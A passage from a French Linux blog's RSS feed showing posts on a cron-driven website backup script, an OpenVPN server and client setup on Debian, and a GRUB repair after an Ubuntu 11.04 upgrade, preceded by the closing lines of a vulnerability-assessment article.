<p>Je clos cet article en précisant que la 1ère vulnérabilité est l&#8217;Homme. Sécuriser un réseau et un système est une action fondamentale, qui doit toujours rester à l&#8217;esprit du personnel informatique. Cependant, la formation du personnel de <strong>toute</strong> l&#8217;entreprise est également primordiale. Les grandes attaques très connues ont toutes commencées par une faille qui venait d&#8217;un ou plusieurs employés.</p>
<p>A bon entendeur,</p>
<p>&nbsp;</p>
<p>La suite au prochain article : <strong>Exploitation</strong>.</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://my1.fr/blog/backtrack-evaluation-de-vulnerabilite/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Petit script de sauvegarde d&#8217;un serveur Web avec Shell restreint</title>
		<link>http://my1.fr/blog/petit-script-de-sauvegarde-dun-serveur-web-avec-shell-restreint/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=petit-script-de-sauvegarde-dun-serveur-web-avec-shell-restreint</link>
		<comments>http://my1.fr/blog/petit-script-de-sauvegarde-dun-serveur-web-avec-shell-restreint/#comments</comments>
		<pubDate>Sun, 07 Aug 2011 01:59:12 +0000</pubDate>
		<dc:creator>Emilien</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Logiciels libres]]></category>
		<category><![CDATA[planete-libre]]></category>
		<category><![CDATA[sauvegarde]]></category>
		<category><![CDATA[script]]></category>

		<guid isPermaLink="false">http://my1.fr/blog/?p=255</guid>
		<description><![CDATA[Hop, c&#8217;est cadeau, voici un script tout simple pour sauvegarder automatiquement et périodiquement son site web : sauvegarde périodique (les fichiers sont conservés 15 jours) sauvegarde des bases de données (variables à changer) sauvegarde des fichiers du site (chemins à changer) Ce n&#8217;est qu&#8217;un squelette, et vous êtes libres d&#8217;y ajouter votre grain de sel, [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://my1.fr/blog/wp-content/uploads/2011/08/sauvegarde.jpg"><img class="aligncenter size-full wp-image-272" title="sauvegarde" src="http://my1.fr/blog/wp-content/uploads/2011/08/sauvegarde.jpg" alt="" width="256" height="256" /></a></p>
<p>Hop, c&#8217;est cadeau, voici un script tout simple pour sauvegarder automatiquement et périodiquement son site web :</p>
<ul>
<li>sauvegarde périodique (les fichiers sont conservés 15 jours)</li>
<li>sauvegarde des bases de données (variables à changer)</li>
<li>sauvegarde des fichiers du site (chemins à changer)</li>
</ul>
<p>Ce n&#8217;est qu&#8217;un squelette, et vous êtes libres d&#8217;y ajouter votre grain de sel, n&#8217;hésitez pas à l&#8217;améliorer et à le partager ici !</p>
<p>&nbsp;</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left2">Download <a href="http://my1.fr/blog/wp-content/plugins/wp-codebox/wp-codebox.php?p=255&amp;download=backup.sh">backup.sh</a></span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p25517"><td class="code" id="p255code17"><pre class="bash" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">#!/bin/sh</span>
&nbsp;
<span style="color: #666666; font-style: italic;">#définitions des variables :</span>
<span style="color: #007800;">datedujour</span>=$<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #c20cb9; font-weight: bold;">date</span> +<span style="color: #000000; font-weight: bold;">%</span>Y<span style="color: #000000; font-weight: bold;">%</span>m<span style="color: #000000; font-weight: bold;">%</span>d<span style="color: #7a0874; font-weight: bold;">&#41;</span>
<span style="color: #007800;">fichierdujour</span>=$<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #c20cb9; font-weight: bold;">date</span> +<span style="color: #000000; font-weight: bold;">%</span>Y<span style="color: #000000; font-weight: bold;">%</span>m<span style="color: #000000; font-weight: bold;">%</span>d<span style="color: #7a0874; font-weight: bold;">&#41;</span>-SqlBackup.tar.gz
<span style="color: #007800;">datequinze</span>=$<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #c20cb9; font-weight: bold;">date</span> <span style="color: #660033;">-d</span> <span style="color: #ff0000;">'15 days ago'</span> +<span style="color: #000000; font-weight: bold;">%</span>Y<span style="color: #000000; font-weight: bold;">%</span>m<span style="color: #000000; font-weight: bold;">%</span>d<span style="color: #7a0874; font-weight: bold;">&#41;</span>
&nbsp;
<span style="color: #666666; font-style: italic;"># On afficher les infos date du jour et autre pour le log.</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;Date du jour : <span style="color: #007800;">$datedujour</span>&quot;</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;Fichier du jour : <span style="color: #007800;">$fichierdujour</span>&quot;</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;Date il y a 15 jours : <span style="color: #007800;">$datequinze</span>&quot;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">#On supprime  toutes les sauvegardes existantes dans le dossier d'exécution</span>
<span style="color: #c20cb9; font-weight: bold;">rm</span> <span style="color: #660033;">-f</span> <span style="color: #000000; font-weight: bold;">*</span>.sql
&nbsp;
<span style="color: #666666; font-style: italic;"># La commande dump :</span>
mysqldump <span style="color: #660033;">-h</span> localhost <span style="color: #660033;">-u</span> LOGIN_BDD <span style="color: #660033;">-pPASSWORD</span> NOM_BDD <span style="color: #000000; font-weight: bold;">&gt;</span> BDD.sql
&nbsp;
<span style="color: #666666; font-style: italic;">#on archive tous les backups dans un zip a la date du jour</span>
<span style="color: #666666; font-style: italic;"># tar czf $fichierdujour *.sql</span>
&nbsp;
<span style="color: #666666; font-style: italic;">#on sauvegarde les fichiers du repertoire web</span>
<span style="color: #c20cb9; font-weight: bold;">tar</span> <span style="color: #660033;">-cvzf</span> www.tgz <span style="color: #000000; font-weight: bold;">/</span>public_html<span style="color: #000000; font-weight: bold;">/</span>
&nbsp;
<span style="color: #666666; font-style: italic;">#on cree le répertoire du jour et y place les backups</span>
<span style="color: #c20cb9; font-weight: bold;">mkdir</span> ~<span style="color: #000000; font-weight: bold;">/</span>backup<span style="color: #000000; font-weight: bold;">/</span>auto<span style="color: #000000; font-weight: bold;">/</span><span style="color: #007800;">$datedujour</span>
<span style="color: #c20cb9; font-weight: bold;">mv</span> <span style="color: #000000; font-weight: bold;">*</span>.sql  ~<span style="color: #000000; font-weight: bold;">/</span>backup<span style="color: #000000; font-weight: bold;">/</span>auto<span style="color: #000000; font-weight: bold;">/</span><span style="color: #007800;">$datedujour</span><span style="color: #000000; font-weight: bold;">/</span>
<span style="color: #c20cb9; font-weight: bold;">mv</span> www<span style="color: #000000; font-weight: bold;">*</span> ~<span style="color: #000000; font-weight: bold;">/</span>backup<span style="color: #000000; font-weight: bold;">/</span>auto<span style="color: #000000; font-weight: bold;">/</span><span style="color: #007800;">$datedujour</span><span style="color: #000000; font-weight: bold;">/</span>
&nbsp;
<span style="color: #666666; font-style: italic;">#on supprime le répertoire d il y a 15 jours s'il existe</span>
<span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">test</span> <span style="color: #660033;">-d</span> ~<span style="color: #000000; font-weight: bold;">/</span>backup<span style="color: #000000; font-weight: bold;">/</span>auto<span style="color: #000000; font-weight: bold;">/</span><span style="color: #007800;">$datequinze</span>; <span style="color: #000000; font-weight: bold;">then</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">'suppression des anciens backups vieux de 15 jours ou plus'</span>
<span style="color: #c20cb9; font-weight: bold;">rm</span> <span style="color: #660033;">-rf</span> ~<span style="color: #000000; font-weight: bold;">/</span>backup<span style="color: #000000; font-weight: bold;">/</span>auto<span style="color: #000000; font-weight: bold;">/</span><span style="color: #007800;">$datequinze</span>
<span style="color: #000000; font-weight: bold;">fi</span>
&nbsp;
<span style="color: #666666; font-style: italic;">#on supprime le tar.gz du jour</span>
<span style="color: #c20cb9; font-weight: bold;">rm</span> <span style="color: #660033;">-f</span> <span style="color: #007800;">$fichierdujour</span></pre></td></tr></table></div>

<p>Puis exécuter :</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p255code18'); return false;">View Code</a> BASH</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p25518"><td class="code" id="p255code18"><pre class="bash" style="font-family:monospace;">crontab <span style="color: #660033;">-e</span></pre></td></tr></table></div>

<p>Pour y ajouter la cron suivante :</p>
<p><span style="color: #800000;">0 0 * * * /root/scripts/backup.sh</span></p>
<p>&nbsp;</p>
<p>Je peux maintenant dormir tranquille, cron s&#8217;occupe de tout&#8230;</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://my1.fr/blog/petit-script-de-sauvegarde-dun-serveur-web-avec-shell-restreint/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>Créer son serveur VPN sous Debian</title>
		<link>http://my1.fr/blog/creer-son-serveur-vpn-sous-debian/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=creer-son-serveur-vpn-sous-debian</link>
		<comments>http://my1.fr/blog/creer-son-serveur-vpn-sous-debian/#comments</comments>
		<pubDate>Thu, 04 Aug 2011 18:47:10 +0000</pubDate>
		<dc:creator>Emilien</dc:creator>
				<category><![CDATA[Non classé]]></category>
		<category><![CDATA[open vpn]]></category>
		<category><![CDATA[openvpn]]></category>
		<category><![CDATA[planete-libre]]></category>

		<guid isPermaLink="false">http://www.my1.fr/blog/2008/03/27/creer-son-serveur-vpn-sous-debian/</guid>
		<description><![CDATA[Pour qui : un particulier ou une entreprise Pour quoi faire : Mise en réseau de sites distants Matériel minimum : Un serveur sous Debian GNU Linux, et un client sous Linux ou Windows ou MAC. But : Mettre en place un moyen sécurisé et efficace qui permet d&#8217;interconnecter une machine distante dans un Intranet, [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Pour qui</strong> : un particulier ou une entreprise</p>
<p><strong>Pour quoi faire</strong> : Mise en réseau de sites distants</p>
<p><strong>Matériel minimum</strong> : Un serveur sous Debian GNU Linux, et un client sous Linux ou Windows ou MAC.</p>
<p align="JUSTIFY"><strong>But</strong> : Mettre en place un moyen sécurisé et efficace qui permet d&#8217;interconnecter une machine distante dans un Intranet, avec le minimum de moyens possible.</p>
<p align="JUSTIFY"><strong>Solution retenue</strong> : OpenVPN</p>
<p><strong>Détail du travail</strong> : Configurer le PKI OpenSSL, configurer le serveur OpenVPN , puis configurer les clients.</p>
<p><strong>Architecture réseau obtenue</strong> :</p>
<p>&nbsp;</p>
<p><a href="http://my1.fr/blog/wp-content/uploads/2008/03/architecture.png"><img class="alignnone size-medium wp-image-207" title="architecture" src="http://my1.fr/blog/wp-content/uploads/2008/03/architecture-300x168.png" alt="" width="300" height="168" /></a></p>
<p>&nbsp;</p>
<ul>
<li>
<p align="JUSTIFY"><span style="text-decoration: underline;"><strong>Présentation d&#8217;OpenVPN</strong></span></p>
</li>
</ul>
<p align="JUSTIFY">OpenVPN est une solution libre permettant de créer un réseau privé virtuel communément appelé VPN (Virtual Private Network), sur le protocole SSL (Secure Socket Layer).</p>
<p align="JUSTIFY">L&#8217;avantage principal d&#8217;OpenVPN est de pouvoir interconnecter plusieurs réseaux (ou plusieurs ordinateurs distants) entre eux via une technique de «<em> tunnel </em>», et cela de manière sécurisée à l&#8217;aide du protocole SSL. Il existe deux modes de fonctionnement d&#8217;OpenVPN :</p>
<ul>
<li>
<p align="JUSTIFY">le mode «<em> bridge </em>», qui permet d&#8217;interconnecter plusieurs réseaux distants.</p>
</li>
<li>
<p align="JUSTIFY">le mode «<em> routed </em>», qui permet d&#8217;interconnecter des machines distantes, et donc d&#8217;appliquer un filtrage plus précis.</p>
</li>
</ul>
<ul>
<li>
<p align="JUSTIFY"><span style="text-decoration: underline;"><strong>Installation des paquetages serveur</strong></span></p>
</li>
</ul>
<p align="JUSTIFY">Avant de pouvoir installer les paquetages d&#8217;OpenVPN, il est nécessaire d&#8217;avoir installé :</p>
<ul>
<li>
<p align="JUSTIFY">les options du noyau par défaut</p>
</li>
<li>
<p align="JUSTIFY">la librairie LZO</p>
</li>
<li>
<p align="JUSTIFY">la librairie OpenSSL (ainsi que ses composants de développement)</p>
</li>
</ul>
<p align="JUSTIFY">Tous les paquetages nécessaires se trouvent dans les dépôts officiels.</p>
<p align="JUSTIFY">Sur notre serveur Debian, la commande suivante installera les paquets :</p>
<blockquote>
<p align="JUSTIFY"><span style="color: #800000;"><strong>apt-get install openssl libssl-dev liblzo1 liblzo-dev openvpn</strong></span></p>
</blockquote>
<p align="JUSTIFY">Grâce à APT, le système de gestion de paquetages de la distribution Debian, les dépendances seront résolues, et l&#8217;application s&#8217;installe sans soucis.</p>
<ul>
<li>
<p align="JUSTIFY"><span style="text-decoration: underline;"><strong>Génération des clés</strong></span></p>
</li>
</ul>
<p align="JUSTIFY">Pour mettre en place notre infrastructure à clés publiques (PKI), il va falloir générer :</p>
<ul>
<li>
<p align="JUSTIFY">une clé de pour le protocole d’échange diffie-hellman (<em>dh1024.key</em>)</p>
</li>
<li>
<p align="JUSTIFY">une clé et un certificat pour l’autorité de certification (<em>ca.crt</em>, <em>ca.key</em>)</p>
</li>
<li>
<p align="JUSTIFY">une clé et un certificat pour le serveur (<em>srv-vpn1.key</em>, <em>srv-vpn1.crt</em>)</p>
</li>
<li>
<p align="JUSTIFY">une clé et un certificat pour chaque client (<em>client1.crt</em>, <em>client1.key</em>)</p>
</li>
</ul>
<p align="JUSTIFY">Pour cela, des scripts existent pour simplifier la tâche. Il suffit d&#8217;exécuter un terminal en root, et de se déplacer dans le répertoire suivant :</p>
<blockquote>
<p align="JUSTIFY"><span style="color: #800000;"><strong>su &#8211; root</strong></span></p>
<p align="JUSTIFY"><span style="color: #800000;"><strong>cd /usr/share/doc/openvpn/examples/easy-rsa/2.0 </strong></span></p>
</blockquote>
<p align="JUSTIFY"><span style="text-decoration: underline;">Création de l&#8217;autorité de certification :</span></p>
<p align="JUSTIFY">Éditer le fichier « vars » afin de paramétrer la PKI :</p>
<blockquote>
<p align="JUSTIFY"><span style="color: #800000;"><strong>vim vars</strong></span></p>
</blockquote>
<ul>
<li>
<p align="JUSTIFY">export KEY_COUNTRY=<strong>&laquo;&nbsp;FR&nbsp;&raquo;</strong></p>
</li>
<li>
<p align="JUSTIFY">export KEY_PROVINCE=<strong>&laquo;&nbsp;France&nbsp;&raquo;</strong></p>
</li>
<li>
<p align="JUSTIFY">export KEY_CITY=&nbsp;&raquo;<strong>Paris&nbsp;&raquo;</strong></p>
</li>
<li>
<p align="JUSTIFY">export KEY_ORG=<strong>&laquo;&nbsp;Organisation &laquo;&nbsp;</strong></p>
</li>
<li>
<p align="JUSTIFY">export KEY_EMAIL=<strong>&laquo;&nbsp;contact@organisation.fr&nbsp;&raquo;</strong></p>
</li>
</ul>
<p align="JUSTIFY">Initialisation des variables :</p>
<blockquote>
<p align="JUSTIFY"><span style="color: #800000;"><strong>. ./vars</strong></span></p>
</blockquote>
<p align="JUSTIFY">Ensuite, création du répertoire qui contiendra les clés :</p>
<blockquote>
<p align="JUSTIFY"><span style="color: #800000;"><strong>./clean-all</strong></span></p>
</blockquote>
<p align="JUSTIFY">Génération du certificat principal du serveur (<em>ca.crt</em>) et la clé correspondante (<em>ca.key</em>):</p>
<blockquote>
<p align="JUSTIFY"><span style="color: #800000;"><strong>./build-ca</strong></span></p>
</blockquote>
<p align="JUSTIFY">Nous confirmons les paramètres en appuyant à chaque fois sur [Entrée], sauf pour le Common Name, où il faut renseigner le «<em> hostname </em>» du serveur (exemple : srv-vpn1).</p>
<p align="JUSTIFY"><span style="text-decoration: underline;">Création du certificat et de la clé pour le serveur OpenVPN :</span></p>
<blockquote>
<p align="JUSTIFY"><span style="color: #800000;"><strong>./build-key-server srv-vpn1</strong></span></p>
</blockquote>
<p align="JUSTIFY">Nous confirmons les paramètres en appuyant à chaque fois sur [Entrée]. Ce n&#8217;est pas la peine de renseigner le paramètre « <em>Challenge Password </em>».</p>
<p align="JUSTIFY">La signature du certificat se fait en renseignant [Y]qu&#8217;il faudra confirmer toujours avec [Y].</p>
<p align="JUSTIFY"><span style="text-decoration: underline;">Création du certificat et de la clé pour un client OpenVPN :</span></p>
<blockquote>
<p align="JUSTIFY"><span style="color: #800000;"><strong>./build-key client1</strong></span></p>
</blockquote>
<p align="JUSTIFY">Nous confirmons les paramètres en appuyant à chaque fois sur [Entrée]. Chaque <em>Common Name</em> doit être différent pour chaque client (ici, nous renseignerons «<strong> client1 </strong>»). Ce n&#8217;est pas la peine de renseigner le paramètre « <em>Challenge Password </em>». La signature du certificat se fait en renseignant [Y] qu&#8217;il faudra confirmer toujours avec [Y]. Cette procédure est à faire pour chaque client.</p>
<p align="JUSTIFY"><span style="text-decoration: underline;">Création du paramètre Diffie Hellman :</span></p>
<blockquote>
<p align="JUSTIFY"><span style="color: #800000;"><strong>./build-dh</strong></span></p>
</blockquote>
<p align="JUSTIFY"><span style="text-decoration: underline;">Mise en place des certificats et des clés :</span></p>
<p align="JUSTIFY">Copie vers le répertoire du service OpenVPN :</p>
<blockquote>
<p align="LEFT"><span style="color: #800000;"><strong>mv ./keys/ca.crt /etc/openvpn/<br />
mv ./keys/serveur.crt /etc/openvpn/<br />
mv ./keys/serveur.key /etc/openvpn/<br />
mv ./keys/dh1024.pem /etc/openvpn/ </strong></span></p>
</blockquote>
<p align="JUSTIFY"><span style="text-decoration: underline;">Création de l&#8217;utilisateur du processus OpenVPN :</span></p>
<p align="JUSTIFY">Dans un soucis de sécurité toujours, nous allons créer le groupe «<em> openvpn </em>», puis l&#8217;utilisateur «<em> openvpn </em>» (sans shell, et sans répertoire de connexion) qui exécutera le processus OpenVPN :</p>
<blockquote>
<p align="LEFT"><span style="color: #800000;"><strong>groupadd openvpn<br />
useradd -d /dev/null -g openvpn -s /bin/false openvpn</strong></span></p>
</blockquote>
<ul>
<li>
<p align="JUSTIFY"><span style="text-decoration: underline;"><strong>Configuration du service OpenVPN :</strong></span></p>
</li>
</ul>
<p align="JUSTIFY">Nous allons partir de l&#8217;exemple fournis avec les paquetages :</p>
<blockquote>
<p align="LEFT"><span style="color: #800000;"><strong>cd /usr/share/doc/openvpn/examples/sample-config-files/<br />
gunzip server.conf.gz<br />
cp server.conf /etc/openvpn/</strong></span></p>
<p align="LEFT"><span style="color: #800000;"><strong>vim /etc/openvpn/server.conf</strong></span></p>
</blockquote>
<p align="JUSTIFY">Voici la configuration :</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left2">Download <a href="http://my1.fr/blog/wp-content/plugins/wp-codebox/wp-codebox.php?p=5&amp;download=serveur.conf">serveur.conf</a></span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p521"><td class="code" id="p5code21"><pre class="bash" style="font-family:monospace;"><span style="color: #666666; font-style: italic;"># Port en écoute (pris au hasard par mesure de sécurité)</span>
<span style="color: #666666; font-style: italic;"># Attention à bien configurer le NAT sur le routeur, pour pouvoir rediriger le port vers le serveur</span>
port <span style="color: #000000;">2829</span>
&nbsp;
<span style="color: #666666; font-style: italic;"># Utilisation du protocole UDP, plus sécurisé</span>
proto udp
&nbsp;
<span style="color: #666666; font-style: italic;"># Configuration de l'interface en mode &quot;routed&quot;</span>
dev tun
&nbsp;
<span style="color: #666666; font-style: italic;"># Définition des chemins des certificats/clés</span>
ca ca.crt
cert srv-vpn1.crt
key srv-vpn1.key
&nbsp;
<span style="color: #666666; font-style: italic;"># Paramètres Diffie hellman</span>
dh dh1024.pem
&nbsp;
<span style="color: #666666; font-style: italic;"># Adresse du réseau virtuel</span>
server 10.8.0.0 255.255.255.0
&nbsp;
<span style="color: #666666; font-style: italic;"># Indique au client la route vers le réseau Intranet</span>
push <span style="color: #ff0000;">&quot;route 172.48.0.0 255.255.255.0&quot;</span>
&nbsp;
<span style="color: #666666; font-style: italic;"># Indique au client les informations DNS</span>
&nbsp;
push <span style="color: #ff0000;">&quot;dhcp-option DOMAIN organisation.fr&quot;</span>
&nbsp;
<span style="color: #666666; font-style: italic;"># Ping tous les 10sec, si au bout de 120sec il n'y a pas de réponse alors déconnexion</span>
keepalive <span style="color: #000000;">10</span> <span style="color: #000000;">120</span>
&nbsp;
<span style="color: #666666; font-style: italic;"># Compression</span>
comp-lzo
&nbsp;
<span style="color: #666666; font-style: italic;"># Restriction du processus à un utilisateur</span>
user openvpn
group openvpn
&nbsp;
<span style="color: #666666; font-style: italic;"># Pour que la connexion persiste</span>
persist-key
persist-tun
&nbsp;
<span style="color: #666666; font-style: italic;"># Fichier de sorties de logs</span>
status openvpn-status.log
&nbsp;
<span style="color: #666666; font-style: italic;"># Verbosité standard des logs</span>
verb <span style="color: #000000;">4</span></pre></td></tr></table></div>

<p align="JUSTIFY">Redémarrage du service OpenVPN :</p>
<blockquote>
<p align="JUSTIFY"><span style="color: #800000;"><strong>/etc/init.d/openvpn restart</strong></span></p>
</blockquote>
<p align="JUSTIFY">Nous allons autoriser le serveur VPN à faire transiter des paquets vers un autre réseau :</p>
<blockquote>
<p align="JUSTIFY"><span style="color: #800000;"><strong>echo 1 &gt; /proc/sys/net/ipv4/ip_forward</strong></span></p>
</blockquote>
<p align="JUSTIFY">Pour automatiser le dernier paramètre, il suffit de décommenter la ligne</p>
<blockquote>
<p align="JUSTIFY"><span style="color: #800000;"><strong>net.ipv4.ip_forward=1</strong></span></p>
</blockquote>
<p align="JUSTIFY">dans le fichier <em><strong>/etc/sysctl.conf</strong></em>.</p>
<ul>
<li>
<p align="JUSTIFY"><span style="text-decoration: underline;"><strong>Installation des paquetages client :</strong></span></p>
</li>
</ul>
<ul>
<li>
<p align="JUSTIFY">Sur un client Debian, la commande suivante installera les paquets nécessaires :</p>
</li>
</ul>
<blockquote>
<p align="JUSTIFY"><span style="color: #800000;"><strong>apt-get install openvpn liblzo1</strong></span></p>
</blockquote>
<ul>
<li>
<p align="JUSTIFY">Sur un client Microsoft Windows, nous utiliserons le logiciel OpenVPN-GUI (disponible à l&#8217;URL <a href="http://openvpn.se/download.html"><span style="color: #000080;"><span style="text-decoration: underline;"><em>http://openvpn.se/download.htm</em></span></span><span style="color: #000080;"><span style="text-decoration: underline;">l</span></span></a>)</p>
</li>
</ul>
<ul>
<li>
<p align="JUSTIFY"><span style="text-decoration: underline;"><strong>Configuration du client :</strong></span></p>
</li>
</ul>
<ul>
<li>
<p align="JUSTIFY">Si le client est sous Linux, il faut créer un fichier de configuration situé dans /etc/openvpn :</p>
</li>
</ul>
<blockquote>
<p align="JUSTIFY"><span style="color: #800000;"><strong>vim /etc/openvpn/server.conf</strong></span></p>
</blockquote>
<ul>
<li>
<p align="JUSTIFY">Si le client est sous Windows, il faudra éditer le fichier <em><strong>config</strong></em> situé dans C:\Program Files\OpenVPN\</p>
</li>
</ul>
<p align="JUSTIFY">Voici la configuration :</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left2">Download <a href="http://my1.fr/blog/wp-content/plugins/wp-codebox/wp-codebox.php?p=5&amp;download=client.conf">client.conf</a></span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p522"><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
</pre></td><td class="code" id="p5code22"><pre class="bash" style="font-family:monospace;">client
dev tun
proto udp
&nbsp;
<span style="color: #666666; font-style: italic;"># Adresse IP publique du serveur VPN, et son port d'écoute</span>
remote 220.0.0.1 <span style="color: #000000;">2829</span>
resolv-retry infinite
nobind
persist-key
persist-tun
ca ca.crt
cert client1.crt
key client1.key
comp-lzo
verb <span style="color: #000000;">4</span>
&nbsp;
<span style="color: #666666; font-style: italic;"># Rajouter ces 2 lignes pour un client Windows Vista</span>
<span style="color: #666666; font-style: italic;"># ou Seven :</span>
route-method exe
route-delay <span style="color: #000000;">2</span></pre></td></tr></table></div>

<p align="JUSTIFY">Pour lancer la connexion sur Windows, il suffit de faire un clic droit sur l’icône « OpenVPN » situé à gauche de l&#8217;horloge et de choisir l’option «<em><strong> Connecter </strong></em>».</p>
<p align="JUSTIFY">Sur Linux, un redémarrage du service OpenVPN sera suffisant.</p>
<p align="JUSTIFY">Une fois connecté, le client distant est dans le réseau privé virtuel, qui connait la route vers le réseau Intranet. Le serveur VPN étant la passerelle, les machines de l&#8217;Intranet n&#8217;ont pas besoin de connaître la route vers le réseau privé.</p>
<p align="JUSTIFY">Pour vérifier l&#8217;état de la connexion, ou pour détecter le moindre de soucis, un</p>
<blockquote>
<p align="JUSTIFY"><span style="color: #800000;"><strong>tail -f /var/log/syslog</strong></span></p>
</blockquote>
<p align="JUSTIFY">ou encore la lecture du fichier <em><strong>openvpn-status.log</strong></em> renseigne toutes les informations nécessaires.</p>
<p align="JUSTIFY"><strong>Pour aller plus loin :</strong></p>
<p align="JUSTIFY">Installer un serveur Proxy dans l&#8217;Intranet peut permettre au client de surfer sur Internet comme s&#8217;il était dans l&#8217;Intranet. Très utile pour déjouer les filtrages réseaux appliqués par certains FAI, ou tout simplement lorsque l&#8217;on se trouve derrière un proxy. Les paquets HTTP seront encapsulés dans le tunnel VPN, et décapsulés en sortie, et vice-versa pour le retour.</p>
]]></content:encoded>
			<wfw:commentRss>http://my1.fr/blog/creer-son-serveur-vpn-sous-debian/feed/</wfw:commentRss>
		<slash:comments>39</slash:comments>
		</item>
		<item>
		<title>Mise-à-jour d&#8217;Ubuntu 10.10 vers Ubuntu 11.04</title>
		<link>http://my1.fr/blog/mise-a-jour-dubuntu-10-10-vers-ubuntu-11-04/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=mise-a-jour-dubuntu-10-10-vers-ubuntu-11-04</link>
		<comments>http://my1.fr/blog/mise-a-jour-dubuntu-10-10-vers-ubuntu-11-04/#comments</comments>
		<pubDate>Thu, 16 Jun 2011 13:50:35 +0000</pubDate>
		<dc:creator>Emilien</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[natty]]></category>
		<category><![CDATA[planete-libre]]></category>
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://my1.fr/blog/?p=164</guid>
		<description><![CDATA[Je ne sais pas ce qu&#8217;il m&#8217;a pris hier soir, un excès de confiance, un grain de folie&#8230; mais j&#8217;ai décidé d&#8217;effectuer une dist-upgrade de mon système. J&#8217;étais sous Ubuntu 10.10, et je désirais tester Ubuntu 11.04 sur mon ordi perso. C&#8217;est pas la première fois que je fais ça, je sais pas ce qu&#8217;il [...]]]></description>
			<content:encoded><![CDATA[<p>Je ne sais pas ce qu&#8217;il m&#8217;a pris hier soir, un excès de confiance, un grain de folie&#8230; mais j&#8217;ai décidé d&#8217;effectuer une dist-upgrade de mon système.</p>
<p>J&#8217;étais sous Ubuntu 10.10, et je désirais tester Ubuntu 11.04 sur mon ordi perso.</p>
<p>C&#8217;est pas la première fois que je fais ça, je sais pas ce qu&#8217;il m&#8217;est arrivé, mais j&#8217;ai démarré la mise à jour à 22h. J&#8217;ai fait le rêve de croire que ça serait finit vers minuit, et hop au dodo la conscience tranquille&#8230; mais c&#8217;était loin d&#8217;être le cas, et je peux vous dire que je n&#8217;ai pas dormis sur mes petits lauriers. Bref, je vais vous présenter les difficultés que j&#8217;ai rencontrées et qui apparemment concernent pas mal de monde.</p>
<p>&nbsp;</p>
<div><strong>Grub error: symbol not found: grub_env_export</strong></div>
<div><strong><br />
</strong></div>
<div>J&#8217;ai découvert cette erreur juste après le 1er redémarrage de l&#8217;ordi quand la mise à jour était finie. Il était minuit, il faisait noir, j&#8217;ai eu peur je l&#8217;avoue. A peine la petite goutte du front séchée, je me lance dans une recherche sur le net (avec mon smartphone ^^) et je m&#8217;aperçois que je ne suis pas le seul. Sans blabla, je vous donne une solution qui a parfaitement marché chez moi.</div>
<div>- Munissez-vous d&#8217;un Live CD d&#8217;Ubuntu 11.04 si possible, et de la <strong>même architecture</strong> que votre système installé.</div>
<div>- Démarrer Ubuntu en mode &laquo;&nbsp;Essayer Ubuntu sans l&#8217;installer&nbsp;&raquo;, et dès que vous le pouvez, ouvrez un terminal.</div>
<div>- Nous allons monter les partitions, chrooter notre système, et réinstaller le Grub. Pensez à remplacer sdbXx par la partition contenant votre système Ubuntu (exemple chez moi : /dev/sdb1).</div>
<blockquote>
<div>sudo mount /dev/sdXx /mnt<br />
sudo mount -o bind /dev /mnt/dev<br />
sudo mount -o bind /sys /mnt/sys<br />
sudo mount -o bind /proc /mnt/proc<br />
sudo chroot /mnt</div>
</blockquote>
<div>au prompt :</div>
<blockquote>
<div>grub-install /dev/sda</div>
<div>update-grub</div>
</blockquote>
<div>Ctrl-D deux fois pour quitter, et redémarrer votre ordinateur.</div>
<div>Source <a title="Source" href="http://ubuntuforums.org/showthread.php?t=1677888" target="_blank">ICI</a></div>
<div>Pfiou, il est 1h du matin, mon ordinateur démarre&#8230; enfin presque.</div>
<div>A l&#8217;écran de connexion, je me connecte avec mon login, et là je m’aperçoit que rien ne vas plus. Compiz est extrêmement lent, et par dessus tout n&#8217;affiche pas les décorations de fenêtre, ce qui est un peu gênant.</div>
